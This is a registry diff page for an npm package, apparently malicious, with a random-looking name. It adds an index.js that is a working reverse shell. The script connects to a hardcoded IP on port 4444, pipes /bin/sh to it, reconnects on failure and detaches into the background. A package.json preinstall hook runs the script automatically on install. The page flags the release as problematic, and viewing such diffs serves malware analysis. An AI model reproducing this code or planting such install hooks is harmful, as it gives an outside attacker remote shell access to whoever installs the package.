tesyeeyr76r74t 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tesyeeyr76r74t might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +56 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ const HOST = "134.209.149.207"; // Replace with the attacker's IP
5
+ const PORT = 4444; // Match this with the listener port
6
+
7
+ function startReverseShell() {
8
+ const client = new net.Socket();
9
+
10
+ client.connect(PORT, HOST, () => {
11
+ console.log("Connected to the attacker.");
12
+
13
+ // Spawn a shell
14
+ const shell = spawn("/bin/sh", []);
15
+
16
+ // Pipe input/output between shell and attacker
17
+ client.pipe(shell.stdin);
18
+ shell.stdout.pipe(client);
19
+ shell.stderr.pipe(client);
20
+
21
+ // Handle shell closure
22
+ shell.on("close", () => {
23
+ console.log("Shell closed. Exiting...");
24
+ client.end();
25
+ });
26
+ });
27
+
28
+ client.on("error", (err) => {
29
+ console.error("Connection error:", err.message);
30
+ // Attempt to reconnect after a delay
31
+ setTimeout(startReverseShell, 5000);
32
+ });
33
+
34
+ client.on("close", () => {
35
+ console.log("Connection closed. Reconnecting...");
36
+ setTimeout(startReverseShell, 5000);
37
+ });
38
+ }
39
+
40
+ // Self-detaching logic
41
+ if (process.argv.includes("--background")) {
42
+ // If already in the background, execute the reverse shell
43
+ startReverseShell();
44
+ } else {
45
+ // Spawn itself as a detached background process
46
+ const backgroundProcess = spawn("node", [__filename, "--background"], {
47
+ detached: true,
48
+ stdio: "ignore", // Ignore output
49
+ });
50
+
51
+ // Detach the child process
52
+ backgroundProcess.unref();
53
+
54
+ // Display process complete and exit the parent process
55
+ console.log("Process complete.");
56
+ }
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "tesyeeyr76r74t",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }